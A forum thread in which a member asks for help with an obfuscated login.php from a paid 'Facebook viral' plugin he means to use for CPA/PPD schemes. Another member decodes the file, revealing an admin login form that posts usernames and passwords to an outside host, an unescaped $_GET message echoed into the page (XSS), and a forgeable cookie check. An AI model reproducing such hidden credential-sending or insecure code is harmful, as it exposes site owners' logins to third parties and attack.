1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Really need help with this php code

Discussion in 'PHP & Perl' started by keysikg, Feb 26, 2013.

  1. keysikg

    keysikg Regular Member

    Joined:
    May 16, 2012
    Messages:
    429
    Likes Received:
    224
    I installed facebook viral plugin that I payed a lot of money for, but when setting up admin control panel and logging in I am getting this error:


    Deprecated
    : Function ereg_replace() is deprecated in /home/content/32/10528532/html/shockvideo/admincpanel/login.php(2) : eval()'d code on line 1


    I searched on google and it says about some preg_replace thing, but I don't know anything about php, I just need this code to get fixed so I can move on to CPA and PPD.


    Here is login.php code:


    <?php
    $_F=__FILE__;$_X='Pz48P3BocA0KCXI1cTM0cjUgIi4uL3NyYy9mMWM1YjIyay5waHAiOw0KCQ0KCSQzbSA9ICcnOw0KCSRsID0gJyc7DQoJJDUgPSAnJzsNCgkNCgk0ZiAoICg0c3M1dCgkX0dFVFsnNSddKSkgMW5kICg0c3M1dCgkX0dFVFsnbCddKSkpIHsNCgkkNSA9ICRfR0VUWyc1J107DQoJJGwgPSAkX0dFVFsnbCddOwkNCgl9DQoJDQoJJDNtID0gZmJMMmc0bigkX0dFVFsnMyddKTsNCgkkZGJfbDJnNG4gPSBkYkwyZzRuKCRfR0VUWyczcmwnXSk7DQoJDQoJLy9wcjJ2ajVyMSBkMSBsNCBqNSBrMnI0c240ayAzbDJnMnYxbiA0IDFrMiBuNGo1IHByNWIxYzR2MW5qNSBuMSBnbDF2bjMgc3RyMW40YzMNCgk0ZiAoICghKCQzbSAhPSAkNSkpIDFuZCAoISgkbCAhPSAkZGJfbDJnNG4pKSApIHsNCglzNXRjMjJrNDUoRmJWNHIxbFNjcjRwdCwgIlRyMzUiLCB0NG01KCkrb2UwMCk7CQ0KCTVjaDIgJzxzY3I0cHQgbDFuZzMxZzU9IkoxdjFzY3I0cHQiPic7DQoJNWNoMiAidzRuZDJ3LmwyYzF0NDJuPVwiNG5kNXgucGhwXCIiOw0KCTVjaDIgJzwvc2NyNHB0Pic7DQo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ks a lot, I really need help and I would really appreciate if someone can tell me easy way to fix this or someone fix it.
     
  2. jazzc

    jazzc Moderator Staff Member Moderator Jr. VIP

    Joined:
    Jan 27, 2009
    Messages:
    2,438
    Likes Received:
    10,048
    It 's just a warning. It means that whoever wrote this script used a function that is going to be removed from PHP at some time in the future. If you don't want to see it anymore you can:
    a) Contact the seller to fix it
    b) Turn off the display of PHP Warnings.
     
  3. keysikg

    keysikg Regular Member

    Joined:
    May 16, 2012
    Messages:
    429
    Likes Received:
    224
    Thanks sir! You helped me out! +rep!
     
  4. keysikg

    keysikg Regular Member

    Joined:
    May 16, 2012
    Messages:
    429
    Likes Received:
    224
    Edit : This didn't worked out at the end, I turned off errors but they still appear on admin cpanel and on website, website can't properly work without fixing this
     
  5. jazzc

    jazzc Moderator Staff Member Moderator Jr. VIP

    Joined:
    Jan 27, 2009
    Messages:
    2,438
    Likes Received:
    10,048
    Put this in the top of the file
    Code:
    <?php
    error_reporting(0);
     ini_set('display_errors','off');
    ?>
    
    If it 's not explicitly overridden in the obfuscated code below it, it should work fine.
     
  6. inviz

    inviz Newbie

    Joined:
    Jun 15, 2010
    Messages:
    45
    Likes Received:
    5
    I took the liberty of decoding the file for you, the error is not produced in this file, but in facebook.php

    decoded file:

    PHP:
    <?php    
    require "../src/facebook.php";        
    $um '';    
    $l '';    
    $e '';        
    if ( (isset(
    $_GET['e'])) and (isset($_GET['l']))) {    
    $e $_GET['e'];    
    $l $_GET['l'];        
    }        
    $um fbLogin($_GET['u']);    
    $db_login dbLogin($_GET['url']);        
    //provjera da li je korisnik ulogovan i ako nije prebacivanje na glavnu stranicu    
    if ( (!($um != $e)) and (!($l != $db_login)) ) {   
    setcookie(FbViralScript"True"time()+3600);        
    echo 
    '<script language="Javascript">';    
    echo 
    "window.location=\"index.php\"";    
    echo 
    '</script>';    
    }       
    if (isset(
    $_COOKIE['FbViralScript'])) {    
    echo 
    '<script language="Javascript">';    
    echo 
    "window.location=\"index.php\"";    
    echo 
    '</script>';    }    
    ?>
    <html>
    <head>
    <title>Admin Cpanel</title>
    <script type="text/javascript">
    function validateForm(){
    var username=document.forms["login_form"]["username"].value;
    var password=document.forms["login_form"]["password"].value;
    if (username==null || username=="" || password==null || password=="") {  
    alert("Login form must be filled out!");  
    return false;  
    }
    }
    </script>
    </head>
    <body>
    <p> 
    </p>
    <p>
     </p>
    <p> 
    </p>
    <p> 
    </p>
    <center>
    <?php
    $message 
    $_GET['message'];
    if (
    $message != '') {
    echo 
    '<font color="red">';
    echo 
    $message " To try LOGIN again <a href=\"login.php\">CLICK HERE!</a>";
    echo 
    '</font>';
    } else {
    echo 
    '<form style="width:440px;" name="login_form" method="post" action="hxxp://geekhacks.org/fbviralultimate/login.php" onsubmit="return validateForm()" >
    <fieldset style="text-align:left; padding:24px;">
    <legend>Admin Cpanel</legend><br />
    Username: <br />
    <input type="text" name="username"><BR>Password: <br />
    <input type="password" name="password"><BR><input type="hidden" name="url" value="'
    .$url.'">
    <input type="hidden" name="version" value="1.1">
    <input type="submit" name="login" value="Log In"><br /><br></fieldset>
    </form> '
    ;        
    }
    ?>
    </center>
    </body>
    </html>

    Please don't tell me you actually paid REAL money for this piece of shit code?

    Also, I had to edit the URL in the post request there, because I have a to low post count to post links yet.. just edit it back and you will be ok..